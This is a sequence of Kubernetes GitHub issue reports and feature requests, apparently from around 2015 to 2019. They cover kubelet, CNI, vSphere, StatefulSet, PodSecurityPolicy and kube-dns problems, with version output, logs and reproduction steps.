11+\ , gitversion:\ v1.11.0-alpha.0.607+62c5f21d5d5244\ , gitcommit:\ 62c5f21d5d5244833042a51aa141467556b67527\ , gittreestate:\ clean\ , builddate:\ 2018-02-25t22:12:13z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: baremetal single node cluster\r - os  e.g. from /etc/os-release : both ubuntu and centos\r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r \r reproducible in every case.

 \r this is one of the components in enabling csi topology support in k8s. https://github.com/kubernetes/features/issues/557\r the remaining logic is in the out-of-tree external-provisioner

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i am running kubelet inside a system container on rhel atomic host 7.5  latest version . using v1.10.8 of the go binary works fine. changing to v1.11.3 causes it to fail with the following error when trying to create static pod:\r \r > failed create pod sandbox: rpc error: code = unknown desc = failed to create a sandbox for pod \ kube-apiserver-k8s-chbr-node1.beans.io\ : error response from daemon: cgroup-parent for systemd cgroup should be a valid slice named as \ xxx.slice\ \r \r   what you expected to happen  :\r \r i expect kubelet to create containers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ cat pods/nginx.yml\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r spec:\r   containers:\r   - name: nginx\r     image: nginx:1.7.9\r     ports:\r     - containerport: 80\r $ curl -lo https://storage.googleapis.com/kubernetes-release/release/v1.11.3/bin/linux/amd64/kubelet\r $ chmod +x kubelet\r $ sudo ./kubelet --cgroup-driver=systemd --cgroups-per-qos=false --enforce-node-allocatable= --pod-manifest-path=pods\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7.1807  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7.1807  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r ostree_version=7.1807\r    \r \r - kernel  e.g.  uname -a  :  linux k8s-chbr-node1.beans.io 3.10.0-862.11.6.el7.x86_64  1 smp tue aug 14 21:49:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r \r    \r $ sudo docker version\r client:\r  version:         1.13.1\r  api version:     1.26\r  package version: docker-1.13.1-68.gitdded712.el7.centos.x86_64\r  go version:      go1.9.4\r  git commit:      dded712/1.13.1\r  built:           tue jul 17 18:34:48 2018\r  os/arch:         linux/amd64\r \r server:\r  version:         1.13.1\r  api version:     1.26  minimum version 1.12 \r  package version: docker-1.13.1-68.gitdded712.el7.centos.x86_64\r  go version:      go1.9.4\r  git commit:      dded712/1.13.1\r  built:           tue jul 17 18:34:48 2018\r  os/arch:         linux/amd64\r  experimental:    false\r

   \r   what happened  :\r \r during pod creation, this happens frequently:\r \r events:\r   type     reason                  age               from                   message\r   ----     ------                  ----              ----                   -------\r   normal   scheduled               2m                default-scheduler      successfully assigned default/powerflowserver-f8d7887f9-9rsf4 to 26207k8s9000\r   warning  failedcreatepodsandbox  2m                kubelet, 26207k8s9000  failed create pod sandbox: rpc error: code = unknown desc =  failed to set up sandbox container \ 5cc13c9870216921b5060acf6d37283ee2dd411d44fe3e618c5bbee27c7b5c50\  network for pod \ powerflowserver-f8d7887f9-9rsf4\ : networkplugin cni failed to set up pod \ powerflowserver-f8d7887f9-9rsf4_default\  network: netplugin failed but error parsing its diagnostic message \ \ : unexpected end of json input, failed to clean up sandbox container \ 5cc13c9870216921b5060acf6d37283ee2dd411d44fe3e618c5bbee27c7b5c50\  network for pod \ powerflowserver-f8d7887f9-9rsf4\ : networkplugin cni failed to teardown pod \ powerflowserver-f8d7887f9-9rsf4_default\  network: netplugin failed but error parsing its diagnostic message \ \ : unexpected end of json input \r   normal   sandboxchanged          4s  x10 over 2m   kubelet, 26207k8s9000  pod sandbox changed, it will be killed and re-created.\r \r   what you expected to happen  :\r \r clean, reliable pod production.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r as far as i can tell, this is as simple as trying to allocate a trivial windows container \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r ps d:\\git\\powerflow\\scripts\\tmp> kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r azure container engine\r \r - os  e.g. from /etc/os-release :\r \r name                    status    roles     age       version   external-ip   os-image                    kernel-version   container-runtime\r 26207k8s9000            ready     agent     16h       v1.11.3   <none>        windows server datacenter   10.0.17134.285\r                         docker://17.6.2\r 26207k8s9001            ready     agent     16h       v1.11.3   <none>    windows server datacenter   10.0.17134.285\r                         docker://17.6.2\r \r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r ps d:\\git\\powerflow\\scripts\\tmp> kubectl describe node/26207k8s9000\r name:               26207k8s9000\r roles:              agent\r labels:             agentpool=windowspool2\r                     beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/instance-type=standard_d2_v3\r                     beta.kubernetes.io/os=windows\r                     failure-domain.beta.kubernetes.io/region=westus2\r                     failure-domain.beta.kubernetes.io/zone=1\r                     kubernetes.azure.com/cluster=clarityordie15rg\r                     kubernetes.io/hostname=26207k8s9000\r                     kubernetes.io/role=agent\r                     storageprofile=managed\r                     storagetier=standard_lrs\r annotations:        node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r creationtimestamp:  wed, 26 sep 2018 18:53:50 -0700\r taints:             <none>\r unschedulable:      false\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   thu, 27 sep 2018 11:06:16 -0700   thu, 27 sep 2018 10:54:54 -0700   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   thu, 27 sep 2018 11:06:16 -0700   thu, 27 sep 2018 10:54:54 -0700   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   thu, 27 sep 2018 11:06:16 -0700   thu, 27 sep 2018 10:54:54 -0700   kubelethasnodiskpressure     kubelet has no disk pressure\r   pidpressure      false   thu, 27 sep 2018 11:06:16 -0700   wed, 26 sep 2018 18:53:50 -0700   kubelethassufficientpid      kubelet has sufficient pid available\r   ready            true    thu, 27 sep 2018 11:06:16 -0700   thu, 27 sep 2018 10:54:54 -0700   kubeletready                 kubelet is posting ready status\r addresses:\r   internalip:  10.240.0.4\r   hostname:    26207k8s9000\r capacity:\r  cpu:                2\r  ephemeral-storage:  0\r  memory:             8388148ki\r  pods:               30\r allocatable:\r  cpu:                2\r  ephemeral-storage:  0\r  memory:             8388148ki\r  pods:               30\r system info:\r  machine id:      26207k8s9000\r  system uuid:\r  boot id:\r  kernel version:  10.0.17134.285\r \r  os image:                   windows server datacenter\r  operating system:           windows\r  architecture:               amd64\r  container runtime version:  docker://17.6.2\r  kubelet version:            v1.11.3\r  kube-proxy version:         v1.11.3\r externalid:                  26207k8s9000\r providerid:                  azure:///subscriptions/ac60e4d8-966a-42ed-bad4-2bc5bf6ece8f/resourcegroups/clarityordie15rg/providers/microsoft.compute/virtualmachines/26207k8s9000\r non-terminated pods:          1 in total \r   namespace                  name                               cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                               ------------  ----------  ---------------  -------------\r   default                    powerflowserver-f8d7887f9-9rsf4    0  0%         0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits  memory requests  memory limits\r   ------------  ----------  ---------------  -------------\r   0  0%         0  0%       0  0%            0  0% \r events:\r   type    reason                   age                from                      message\r   ----    ------                   ----               ----                      -------\r   normal  starting                 21m                kube-proxy, 26207k8s9000  starting kube-proxy.\r   normal  starting                 12m                kube-proxy, 26207k8s9000  starting kube-proxy.\r   normal  starting                 11m                kubelet, 26207k8s9000     starting kubelet.\r   normal  nodehassufficientmemory  11m  x2 over 11m   kubelet, 26207k8s9000     node 26207k8s9000 status is now: nodehasnodiskpressure\r   normal  nodeready                11m                kubelet, 26207k8s9000     node 26207k8s9000 status is now: nodeready\r

multiple users have been bit by some variant of the following problem: they delete a resource from their cloud provider that was created as part of a service's external load balancer. if they deleted it accidentally, they wonder why their load balancer stopped working. if they deleted it intentionally, they wonder why it comes back after an indeterminate amount of time  typically on the order of days or weeks .  this is caused by us caching the last observed state of the cloud provider resources in the service controller  with no ttl  rather than rechecking it periodically, such that it only gets rechecked when the controller manager process is restarted. this confusion isn't worth saving a few cloud api calls, particularly given that most clusters don't expose all that many external services.  we might want to include this as a bug fix in 1.3, but it's not absolutely critical. happy to hear your thoughts on that.  @bprashanth @thockin @alex-mohr

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : certs, client, system, pki\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request/code refactoring.\r \r   kubernetes version    use  kubectl version  : master branch, after 1.5 branch of.\r \r \r   environment  :\r -   cloud provider or hardware configuration  : none\r -   os    e.g. from /etc/os-release : centos\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r pkg/client/transport/transport.go has function rootcertpool which populates rootcas for client tls configuration. since a093ea34c3168c085c949e292108b4ae9be15784 there is in this function comment:\r    go\r // what we really want is a copy of x509.systemrootspool, but that isn't exposed.  it's difficult to build  see the go\r // code for a look at the platform specific insanity , so we'll use the fact that rootcas == nil gives us the system values\r // it doesn't allow trusting either/or, but hopefully that won't be an issue\r    \r nowadays, with go 1.7 it is possible to get same system cas via function in crypto/x509: systemcertpool  . if we want explicitly initialize rootcas with system defaults, we can do it now.\r however, current code which sets rootcas to nil gives practically same effect, just relaying on defaults in standard library.\r \r   what you expected to happen  :\r i'd like to either remove this comment about \ isn't exposed\ , or make it explicitly equal to x509.systemcertpool  . and want to discuss which would be more appropriate.\r \r   how to reproduce it    as minimally and precisely as possible :\r    console\r $ vi pkg/client/transport/transport.go +128\r    \r \r   anything else do we need to know  :\r potentially, we might want to have combination of defined ca in tls.config + system default cas,\r but not sure if that is intended behaviour or would be valuable generic case.\r

jwest on slack explained to me that they have a custom controller which allows kubenet to work with private topologies  i.e. multiple route tables .  it is simply a matter of updating the 3 route tables that match the tag, not bailing out when we see multiple matches.\r \r this might be a little tricky because ideally we would run 3 separate controllers in this case on aws, but we do have confirmation that if we do this kubenet will work in private topologies.

pv controllers now use shared informers as of  41273\r \r they default to a 15 second resync period, and depend on the resync to be responsive to pvc binding. such a short resync period does not work well with other clients of the shared informers  like garbage collection , and depending on registration order, may not be honored  if the shared informer is already running, the pv binder's resync request is ignored .\r \r the pv controller should use a work queue to requeue specific failed pv/pvc objects, rather than relying on a full resync of all objects to rekick specific failed objects.\r \r @kubernetes/sig-storage-bugs \r @kubernetes/sig-scalability-bugs

this is a cover bug to aggregate non-backwards compatible api changes for consideration to the podsecuritypolicy  i.e. for  v1beta2  .\r \r -     the empty policy should be equivalent to a fully privileged policy. this is a required property of new fields for backwards compatibility, and making all fields behave this way will make the api more consistent. the simplest approach is to default fields to the most permissive value  e.g.  privileged=true ,  allowedcapabilities=  , etc. . this requires that most fields change to pointer values.\r \r -     all fields should be optional  with the exception of fields with dependencies on other fields, e.g. user mustrunas , with defaults as described above. the motivation is the same as above, and reduces boilerplate  e.g. for unused features .\r \r -     organize volume controls. e.g.  allowedhostpaths , and   allowedflexvolumes   https://github.com/kubernetes/kubernetes/pull/53179 . as more controls are added for individual volume types, it would be good to have some more structure to these options.\r \r open for discussion.

is this a bug report or feature request?  :\r  \r   what happened  :\r  logf    is always appending a new line to its message:\r https://github.com/kubernetes/kubernetes/blob/b97e17603b76edf7344f49a7632b1f764d5386e6/test/e2e/framework/util.go l266-l272\r \r in some places of code, the message is already has a newline character and it leads to doubled new lines in the logs.\r \r   what you expected to happen  :\r i'm not sure what is the correct behavior here. one of the options could be to append a new line conditionally.\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r i'm trying to deploy a kubernetes v1.9.2 cluster on vsphere with the vsphere-cloud-provider. \r all works fine except the persistent volume attachment. \r with kubernetes v1.8.7 the attachment works fine on the same vms and vsphere environment. \r \r \r   what you expected to happen  :\r the volume attachment works without errors like \ cannot find node \ kbnnode01\  in cache. node not found!!!\  or \  datacenter.go:78  unable to find vm by uuid. vm uuid: f7f53642-5cc2-ced1-37f1-c6b04522a27e\  in the kube-controller log. \r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a kubernetes cluster via kubespray on vsphere based off the official kubernetes docs and kubespray docs: \r - https://kubernetes.io/docs/getting-started-guides/vsphere/\r - https://github.com/kubernetes-incubator/kubespray/blob/master/docs/vsphere.md\r \r and try to deploy the offical vsphere-cloud-provider test pods  persistent volume  provided here: \r https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/vsphere\r \r   anything else we need to know?  :\r with kubernets v1.8.7 the volume attachment works on the same vm and vsphere environment.\r both the coreos and vanilla hyperkube images from google are affected. \r the issue remains after i have added the vm uuid to the cloud config.\r \r based on the vmware docs for the vsphere-cloud-provider  https://vmware.github.io/vsphere-storage-for-kubernetes/documentation/existing.html   the provider should pick the uuid from /sys/class/dmi/id/product_serial if vm-uuid is unset or empty. but this id is different from the ids in my logs so it can't find the vm in vsphere.\r product_serial from kbnnode01 is 42365f38-cf20-c79c-80d3-52363d75a0ef and from logs it is \r f7f53642-5cc2-ced1-37f1-c6b04522a27e\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2\r - cloud provider or hardware configuration: vsphere-cloud-provider on esxi 6.5 and vcenter 6.5 with latest updates\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux kbnmaster01 4.4.0-112-generic\r - install tools: kubespray\r - others: used the rbac role provided in issue  57279 to fix the \ failed to list  v1.node: nodes is forbidden\  error\r \r my cloud config: \r    \r  global \r datacenter = \ falkenstein\ \r datastore = \ datastore1\ \r insecure-flag = 1\r password = \ secret\ \r port = 443\r server = \ vcenter.xnet.local\ \r user = \ kubernetes_svc@vsphere.local\ \r working-dir = \ /falkenstein/vm/kubernetes/\ \r vm-uuid =\r \r  disk \r scsicontrollertype = pvscsi\r

are labels could be merged here?\r \r https://github.com/kubernetes/kubernetes/blob/3a1c9449a956b6026f075fa3134ff92f7d55f812/pkg/controller/statefulset/stateful_set_utils.go l152\r \r for example:\r    \r if claim.labels == nil {\r   claim.labels = make map string string \r }\r for k, v := range set.spec.selector.matchlabels  {\r   claim.labels k  = v\r }\r

ref https://github.com/kubernetes/features/issues/460\r ref https://groups.google.com/d/msg/kubernetes-sig-api-machinery/j8vw9m8a-t4/jj9brfvucqaj\r \r > > the static config encryption will also alpha in 1.10 since i don't believe its versioned separately from the other kms options. maybe someone else here can speak to that part of the feature? i haven't seen much discussion about what it would take to bring the static key encryption out of alpha.\r >\r > probably just sufficient feedback that static config is working for people.  i know of a few shops running with this for quite a while, so probably it's time to push it over the edge.\r \r ref https://github.com/kubernetes/features/issues/92\r \r   /milestone v1.11\r / /status approved-for-milestone\r \r cc @php-coder

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r statefulset controller can’t ensure pod replicas during master-node partition failure and causes data corruption.\r \r the general sequence of events as below :\r \r - master-node partition failure happens maybe network failure ;\r - nodelifecyclecontroller is able to detect the unreachable node and evict the pods just update api  for the node that is unreachable after podevictiontimeout seconds;\r - statefulsetcontroller will recreate the pods that are evicted previously to an available node to preserve set.spec.replicas;\r - two pods access the same pvc simultaneously, cause data corruption;\r \r   what you expected to happen  :\r for that, there should have a policy to execute “hard” fencing to protect pod against data corruption. \r \r by leveraging existing components, the rough sequence of implementation would be:\r \r - a controller, named fencecontroller which is written with operator pattern, watch node status just like nodelifecyclecontroller;\r - on node partition failure happens, node controller update the node status to “unknown” after nodemonitorgraceperiod seconds;\r - fencecontroller is empowered to use ipmi to reboot the unreachable node after podevictiontimeout - n seconds, the value of n depends on application;\r - statefulsetcontroller will recreates the pods that are evicted previously to available node to preserve set.spec.replicas;\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r the diagram depicts the scenario:\r  https://docs.google.com/document/d/1qhaumq7emmueoti3ckaxshs6xktyept-ppg5fqozmoo/edit?usp=sharing  url \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r -  sig-release-master-upgrade gce-new-master-upgrade-master-parallel  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master-parallel \r \r   which test s  are failing  :\r -   sig-network  networking should provide unchanging, static url paths for kubernetes api services  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master-parallel/760 sig-network-networking-should-provide-unchanging-static-url-paths-for-kubernetes-api-services \r \r   since when has it been failing  :\r 2019-01-15  build  760  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master-parallel/760 sig-network-networking-should-provide-unchanging-static-url-paths-for-kubernetes-api-services  \r \r   testgrid link  :\r -  gubernator, build 760  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master-parallel/760 sig-network-networking-should-provide-unchanging-static-url-paths-for-kubernetes-api-services \r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:61\r jan 16 07:18:03.008: failed: the server could not find the requested resource\r    \r \r   anything else we need to know  :\r - the commit combination for the test's first failure is  k/k:51dd616cd  https://github.com/kubernetes/kubernetes/commit/51dd616cd  and  k/test-infra:2d1053361  https://github.com/kubernetes/test-infra/commit/2d1053361 . however a few builds prior to  760 have passed with the same combination, and the test has been consistently passing before then in general. has anything changed outside these repos that could affect the test? config/setup etc?\r \r 

i don't knwo what to make of this:      $ kubectl get pods --namespace kube-system -l k8s-app=kube-registry name                     ready     status    restarts   age kube-registry-v0-eicif   1/1       running   0          34m      this much was expected.      $ kubectl get pods --namespace kube-system -l k8s-app=kube-registry -o name pod/kube-registry-v0-32ls6 pod/kube-registry-v0-66ugd pod/kube-registry-v0-7baw4 pod/kube-registry-v0-8f6kk pod/kube-registry-v0-dghdh pod/kube-registry-v0-eicif pod/kube-registry-v0-kgxf0 pod/kube-registry-v0-kuh1v pod/kube-registry-v0-me1yd pod/kube-registry-v0-n53wo pod/kube-registry-v0-nkkq0 pod/kube-registry-v0-psk57 pod/kube-registry-v0-tbg6q pod/kube-registry-v0-u7huo pod/kube-registry-v0-v9960      this was a surprise!      $ kubectl get pods --namespace kube-system -l k8s-app=kube-registry -o template --template '{{range .items}}{{.status.phase}}{{\ \ \ }}{{end}}' failed failed failed failed failed running failed failed failed failed failed failed failed failed failed      is the behavior supposed to be different?

if you configure a readiness probe, an event will be generated for the pod stating it is unhealthy and that the readiness probe failed, even before any readiness probe is executed  i.e. before initialdelayseconds have expired . in addition, there is no event that records the transition of a pod from unhealthy to healthy.  for example, this is a ready pod whose last event says it is unhealthy, and that event was actually generated before the first readiness probe was executed:      containers:   server:     image:      192.168.99.100:5000/elevy/zookeeper:latest     state:      running       started:      wed, 21 oct 2015 12:56:48 -0700     ready:      true     restart count:  0 conditions:   type      status   ready     true  events:   firstseen             lastseen            count   from            subobjectpath               reason      message   wed, 21 oct 2015 12:56:47 -0700   wed, 21 oct 2015 12:56:47 -0700 1   {scheduler }                            scheduled   successfully assigned zookeeper-1-u4qfe to 172.17.4.99   wed, 21 oct 2015 12:56:48 -0700   wed, 21 oct 2015 12:56:48 -0700 1   {kubelet 172.17.4.99}   implicitly required container pod   pulled      pod container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine   wed, 21 oct 2015 12:56:48 -0700   wed, 21 oct 2015 12:56:48 -0700 1   {kubelet 172.17.4.99}   implicitly required container pod   created     created with docker id 38e8525f2827   wed, 21 oct 2015 12:56:48 -0700   wed, 21 oct 2015 12:56:48 -0700 1   {kubelet 172.17.4.99}   implicitly required container pod   started     started with docker id 38e8525f2827   wed, 21 oct 2015 12:56:48 -0700   wed, 21 oct 2015 12:56:48 -0700 1   {kubelet 172.17.4.99}   spec.containers{server}         created     created with docker id fd585c375cd2   wed, 21 oct 2015 12:56:48 -0700   wed, 21 oct 2015 12:56:48 -0700 1   {kubelet 172.17.4.99}   spec.containers{server}         started     started with docker id fd585c375cd2   wed, 21 oct 2015 12:56:48 -0700   wed, 21 oct 2015 12:56:48 -0700 1   {kubelet 172.17.4.99}   spec.containers{server}         pulled      successfully pulled image \ 192.168.99.100:5000/elevy/zookeeper:latest\    wed, 21 oct 2015 12:56:57 -0700   wed, 21 oct 2015 12:57:17 -0700 3   {kubelet 172.17.4.99}   spec.containers{server}         unhealthy   readiness probe failed:

hello,  we are running a cluster of kubernetes / docker and we would like to allow to a container to be accessed from an external ip and a random port if the service running in the container, in this case an apache tomcat, has establish a connection first with, for example, a database, in this case we do not know the port. it means, in a not containerized world, we should have something like this in an iptables   -a input -i eth0 -m conntrack --ctstate related,established -j accept -a output -o eth0 -m conntrack --ctstate related,established -j accept  should be possible to have this configuration in a kubernetes cluster to allow all incoming communications if became from our internal network, without specifying a port?  thanks a lot.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : local setup\r -   os    e.g. from /etc/os-release : centos linux release 7.3.1611  core \r -   kernel    e.g.  uname -a  : linux kube-master 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r \r after installing kubernetes i applied flannel addons and created busybox pod and there is a problem in dns. busybox can't reach dns service\r \r \r \r  root@kube-master ~   kubectl get pods --all-namespaces\r namespace     name                                  ready     status    restarts   age\r default       busybox                               1/1       running   0          5m\r default       kube-flannel-ds-hqrfc                 2/2       running   0          7m\r kube-system   dummy-2088944543-q98cj                1/1       running   0          15m\r kube-system   etcd-kube-master                      1/1       running   26         15m\r kube-system   kube-apiserver-kube-master            1/1       running   0          15m\r kube-system   kube-controller-manager-kube-master   1/1       running   0          15m\r kube-system   kube-discovery-1769846148-9lr5f       1/1       running   0          15m\r kube-system   kube-dns-2924299975-fvr29             4/4       running   0          15m\r kube-system   kube-proxy-0j7zf                      1/1       running   0          15m\r kube-system   kube-scheduler-kube-master            1/1       running   0          15m\r \r \r \r  root@kube-master ~   kubectl get services --all-namespaces\r namespace     name         cluster-ip   external-ip   port s          age\r default       kubernetes   10.96.0.1    <none>        443/tcp         14m\r kube-system   kube-dns     10.96.0.10   <none>        53/udp,53/tcp   13m\r  root@kube-master ~  \r \r  root@kube-master ~   kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c kube-dns\r i0307 15:00:43.723034       1 dns.go:42  version: v1.6.0-alpha.0.680+3872cb93abf948-dirty\r i0307 15:00:43.724124       1 server.go:107  using https://10.96.0.1:443 for kubernetes master, kubernetes api: <nil>\r i0307 15:00:43.725152       1 server.go:68  using configuration read from configmap: kube-system:kube-dns\r i0307 15:00:43.725226       1 server.go:113  flag: --alsologtostderr=\ false\ \r i0307 15:00:43.725249       1 server.go:113  flag: --config-map=\ kube-dns\ \r i0307 15:00:43.725260       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i0307 15:00:43.725267       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i0307 15:00:43.725274       1 server.go:113  flag: --dns-port=\ 10053\ \r i0307 15:00:43.725284       1 server.go:113  flag: --domain=\ cluster.local.\ \r i0307 15:00:43.725315       1 server.go:113  flag: --federations=\ \ \r i0307 15:00:43.725324       1 server.go:113  flag: --healthz-port=\ 8081\ \r i0307 15:00:43.725331       1 server.go:113  flag: --kube-master-url=\ \ \r i0307 15:00:43.725340       1 server.go:113  flag: --kubecfg-file=\ \ \r i0307 15:00:43.725346       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r i0307 15:00:43.725356       1 server.go:113  flag: --log-dir=\ \ \r i0307 15:00:43.725364       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i0307 15:00:43.725373       1 server.go:113  flag: --logtostderr=\ true\ \r i0307 15:00:43.725385       1 server.go:113  flag: --stderrthreshold=\ 2\ \r i0307 15:00:43.725393       1 server.go:113  flag: --v=\ 2\ \r i0307 15:00:43.725400       1 server.go:113  flag: --version=\ false\ \r i0307 15:00:43.725417       1 server.go:113  flag: --vmodule=\ \ \r i0307 15:00:43.726212       1 server.go:155  starting skydns server  0.0.0.0:10053 \r i0307 15:00:43.726903       1 server.go:165  skydns metrics enabled  /metrics:10055 \r i0307 15:00:43.726937       1 dns.go:144  starting endpointscontroller\r i0307 15:00:43.726945       1 dns.go:147  starting servicecontroller\r i0307 15:00:43.727167       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0307 15:00:43.727185       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0307 15:00:43.762502       1 dns.go:274  new service: kubernetes\r e0307 15:00:43.762529       1 sync.go:105  error getting configmap kube-system:kube-dns err: configmaps \ kube-dns\  not found\r e0307 15:00:43.762545       1 dns.go:190  error getting initial configmap: configmaps \ kube-dns\  not found, starting with default values\r i0307 15:00:43.762558       1 dns.go:163  waiting for kubernetes service\r i0307 15:00:43.762566       1 dns.go:169  waiting for service: default/kubernetes\r i0307 15:00:43.762608       1 dns.go:384  added srv record &{host:kubernetes.default.svc.cluster.local. port:443 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0307 15:00:43.762648       1 dns.go:274  new service: kube-dns\r i0307 15:00:43.762679       1 dns.go:384  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0307 15:00:43.762705       1 dns.go:384  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0307 15:00:43.767294       1 server.go:126  setting up healthz handler  /readiness \r i0307 15:00:43.767317       1 server.go:131  setting up cache handler  /cache \r i0307 15:00:43.767324       1 server.go:120  status http port 8081\r i0307 15:05:43.728369       1 dns.go:274  new service: kubernetes\r i0307 15:05:43.729210       1 dns.go:384  added srv record &{host:kubernetes.default.svc.cluster.local. port:443 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0307 15:05:43.729251       1 dns.go:274  new service: kube-dns\r i0307 15:05:43.729280       1 dns.go:384  added srv record 